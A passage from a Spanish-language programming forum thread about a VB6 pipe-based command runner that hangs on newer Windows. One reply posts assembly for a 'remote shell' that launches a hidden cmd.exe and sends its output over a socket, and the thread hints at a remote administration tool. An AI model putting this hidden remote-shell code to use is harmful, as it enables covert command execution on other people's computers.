Consola por pipe crashea en windows 8 y versiones adelantadas

Iniciado por illuminat3d, 4 Abril 2016, 20:57 PM

0 Miembros y 2 Visitantes están viendo este tema.

illuminat3d

Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :

Código (vb) [Seleccionar]

   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0


Código (vb) [Seleccionar]


Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long

Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long



Public Type PROCESS_INFORMATION
  hProcess     As Long
  hThread      As Long
  dwProcessId  As Long
  dwThreadId   As Long
End Type

Public Type STARTUPINFO
  cb                As Long
  lpReserved        As Long
  lpDesktop         As Long
  lpTitle           As Long
  dwX               As Long
  dwY               As Long
  dwXSize           As Long
  dwYSize           As Long
  dwXCountChars     As Long
  dwYCountChars     As Long
  dwFillAttribute   As Long
  dwFlags           As Long
  wShowWindow       As Integer
  cbReserved2       As Integer
  lpReserved2       As Long
  hStdInput         As Long
  hStdOutput        As Long
  hStdError         As Long
End Type

Public Type SECURITY_ATTRIBUTES
  nLength                As Long
  lpSecurityDescriptor   As Long
  bInheritHandle         As Long
End Type



Public Function CMD(ByVal Comando As String) As String
On Error Resume Next
   Dim proc           As PROCESS_INFORMATION
   Dim ret            As Long
   Dim start          As STARTUPINFO
   Dim sa             As SECURITY_ATTRIBUTES
   Dim hReadPipe      As Long
   Dim hWritePipe     As Long
   Dim lngBytesRead   As Long
   Dim strBuff        As String * 256

   sa.nLength = Len(sa)
   sa.bInheritHandle = 1&
   sa.lpSecurityDescriptor = 0&
   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)

   If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function

   start.cb = Len(start)
   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
   start.hStdOutput = hWritePipe
   start.hStdError = hWritePipe

   mCommand = Environ("COMSPEC") + " /c " + Comando

   ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

   If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function

   ret = CloseHandle(hWritePipe)
   mOutputs = ""
   
   ' CRASHEA En versiones mayores a Windows 7
   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function
   
   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0
   ret = CloseHandle(proc.hProcess)
   ret = CloseHandle(proc.hThread)
   ret = CloseHandle(hReadPipe)

   CMD = mOutputs

   Exit Function
End Function



A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo! :P

fary

En realidad es una forma un poco chapucera de usar pipes  >:D

¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción?

Usa los pipes de manera eficiente amigo :)

un saludo.
Un byte a la izquierda.

Lekim

#2
Cita de: fary en  5 Abril 2016, 10:37 AM
En realidad es una forma un poco chapucera de usar pipes  >:D

¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción?

Usa los pipes de manera eficiente amigo :)

un saludo.

¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar  :¬¬

fary

#3
Cita de: Lekim en  5 Abril 2016, 18:31 PM
¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar  :¬¬

Por supuesto que te ilustro  >:D

Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente.

Código (asm) [Seleccionar]
;///////////////////////////////////////////////////////////////////////////////////////////////
;//////                                         FUNCIONES SHELL REMOTA                /////////
;//////////////////////////////////////////////////////////////////////////////////////////////
proc IniciarShell
    ; Funcion que inicializa la shell remota
    mov [saPipe.nLength], 12
    mov [saPipe.lpSecurityDescriptor], NULL
    mov [saPipe.bInheritHandle], TRUE

    invoke CreatePipe, stdinRd,  stdinWr,  saPipe, 0
    invoke CreatePipe, stdoutRd, stdoutWr, saPipe, 0

     invoke GetStartupInfoA, sInfo

     mov eax, STARTF_USESTDHANDLES
     mov ebx, STARTF_USESHOWWINDOW
     or eax, ebx

     mov [sInfo.dwFlags], eax
     mov [sInfo.wShowWindow], SW_HIDE
     mov eax, [stdoutWr]
     mov [sInfo.hStdOutput] , eax
     mov eax, [stdoutWr]
     mov [sInfo.hStdError]  , eax
     mov eax, [stdinRd]
     mov [sInfo.hStdInput]  , eax

     invoke GlobalAlloc, LPTR, 30
     mov [RutaCmd], eax

     invoke GetSystemDirectoryA, [RutaCmd], 29

     invoke lstrcat, [RutaCmd], '\cmd.exe'

     invoke CreateProcessA, NULL, [RutaCmd], NULL, NULL, TRUE, 0, NULL, NULL, sInfo, pInfo

     invoke GlobalFree, [RutaCmd]

     invoke Sleep, 150

     stdcall LeerShell ; Llamamos a LEER PIPE para enviar la primera lectura
     ret
endp

proc EscShell,Comando,Longitud
    mov [bEscritos],NULL
    invoke WriteFile, [stdinWr],[Comando], [Longitud], bEscritos, NULL

    mov [bEscritos],NULL
    invoke WriteFile, [stdinWr],varSaltoLinea, 2, bEscritos, NULL

    invoke Sleep, 100

    stdcall LeerShell

    ret

    varSaltoLinea     db 13,10 ; salto de linea para el PIPE
endp

proc TerminarShell
    ; Funcion que cierra la shell remota
    invoke TerminateProcess, [pInfo.hProcess], 0
    invoke CloseHandle, [stdinRd]
    invoke CloseHandle, [stdinWr]
    invoke CloseHandle, [stdoutRd]
    invoke CloseHandle, [stdoutWr]
    invoke Sleep, 100
    ret
endp

proc LeerShell
    ; Funcion que lee la shell remota
    mov [totalLeido], 0
    mov [totalLeer], 0

    invoke PeekNamedPipe, [stdoutRd], NULL, NULL, NULL, totalLeer, NULL

    .if [totalLeer] = 0
; No hay que leer.
ret
    .endif

    LP_leer:
invoke GlobalAlloc, LPTR, 1050
mov [bufLeido], eax

invoke GlobalAlloc, LPTR, 1050
mov [envLeido], eax

invoke ReadFile, [stdoutRd], [bufLeido], 1024, bUsadosOK, NULL

invoke lstrcat, [envLeido], 'SHEL%%%%'
invoke lstrcat, [envLeido], [bufLeido]

invoke send, [hsock], [envLeido], 1024, 0

mov edx, [bUsadosOK]

add [totalLeido], edx

invoke GlobalFree, [bufLeido]
invoke GlobalFree, [envLeido]

invoke Sleep, 100

cmp [bUsadosOK], 1024
je  LP_leer
mov edx, [totalLeer]
cmp [totalLeido], edx
jl  LP_leer

ret
endp
;//////////////////////////////////////////////////////////////////////////////////////////////
;//////////////////////////////////////////////////////////////////////////////////////////////


Además de que el código que el aporta, no es suyo... no sé en donde lo vi posteado.

saludos.
Un byte a la izquierda.

Lekim

Cita de: fary en  6 Abril 2016, 09:46 AM
Por supuesto que te ilustro  >:D

Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente.

...

¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD

illuminat3d

Muchas gracias a los dos, mis conocimientos en VB no son tan avanzados Fary pero si me gustaria que publicaran algun arreglo en VB sobre el codigo, gracias Lekim por apoyarme jajaja!  :-*

PD : Tambien tengo un problema con el envio de datos por winsock y es que en local me llegan todos los datos correctamente a veces al segundo intento pero despues cuando intento de manera remota me faltan datos y no se todavia a que debe ser, ya depure el codigo y si por ejemplo hay 60 procesos, solo llegan 32 auqnue en el servidor liste los 60 pero el envio de datos pierde datos al enviarselos al cliente a que puede deberse? y eso que envio los datos partidos con un tamaño de 8192 a veces ni supera esa cantidad y es lo mismo pierde los datos.

Saludos compañeros!  :-[

fary

Cita de: Lekim en  6 Abril 2016, 10:57 AM
¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD

Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo.

Saludos.
Un byte a la izquierda.

Lekim

Cita de: fary en  6 Abril 2016, 22:04 PM
Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo.

Saludos.

El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además  concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.

fary

Cita de: Lekim en  7 Abril 2016, 13:00 PM
El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además  concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.

El código se puede pasar perfectamente a VB6 sin tener ni idea de ASM... son solo API de windows lo que se ve en el código, de ensamblador se podría decir que no hay casi nada de intrucciones.

Parate a mirarlo 1 minuto y lo vas a comprobar por ti mismo.

saludos.
Un byte a la izquierda.